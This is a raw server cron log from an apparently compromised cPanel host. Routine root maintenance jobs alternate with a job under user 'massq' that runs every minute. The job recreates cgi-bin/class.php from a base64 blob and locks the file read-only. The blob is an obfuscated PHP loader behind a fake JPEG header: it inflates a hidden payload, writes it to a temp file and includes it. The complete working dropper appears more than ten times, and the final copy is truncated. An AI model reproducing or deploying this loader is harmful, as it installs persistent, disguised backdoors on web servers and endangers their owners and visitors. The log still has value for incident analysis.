Sep  2 05:45:01 server CROND[8947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:45:01 server CROND[8949]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:45:01 server CROND[8950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:45:01 server CROND[8951]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 05:45:01 server CROND[8955]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:45:01 server CROND[8956]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 05:45:01 server CROND[8953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:46:01 server CROND[9836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:46:01 server CROND[9837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:46:01 server CROND[9838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:47:01 server CROND[10321]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:47:01 server CROND[10323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:47:01 server CROND[10325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:48:01 server CROND[10703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:48:01 server CROND[10704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:48:01 server CROND[10705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:49:01 server CROND[11075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:49:01 server CROND[11077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:49:01 server CROND[11076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:50:01 server CROND[11462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:50:01 server CROND[11464]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 05:50:01 server CROND[11465]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 05:50:01 server CROND[11468]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 05:50:01 server CROND[11466]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:50:01 server CROND[11467]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:50:01 server CROND[11473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:50:01 server CROND[11470]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 05:50:01 server CROND[11471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:51:01 server CROND[12343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:51:01 server CROND[12344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:51:01 server CROND[12345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:52:01 server CROND[12837]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep  2 05:52:01 server CROND[12838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:52:01 server CROND[12839]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:52:01 server CROND[12840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:53:01 server CROND[13332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:53:01 server CROND[13334]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:53:01 server CROND[13333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:54:01 server CROND[13697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:54:01 server CROND[13698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:54:01 server CROND[13699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:55:01 server CROND[14095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:55:01 server CROND[14097]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:55:01 server CROND[14098]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:55:01 server CROND[14099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:55:01 server CROND[14100]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 05:55:01 server CROND[14105]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 05:55:01 server CROND[14102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:56:01 server CROND[14927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:56:01 server CROND[14928]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:56:01 server CROND[14929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFw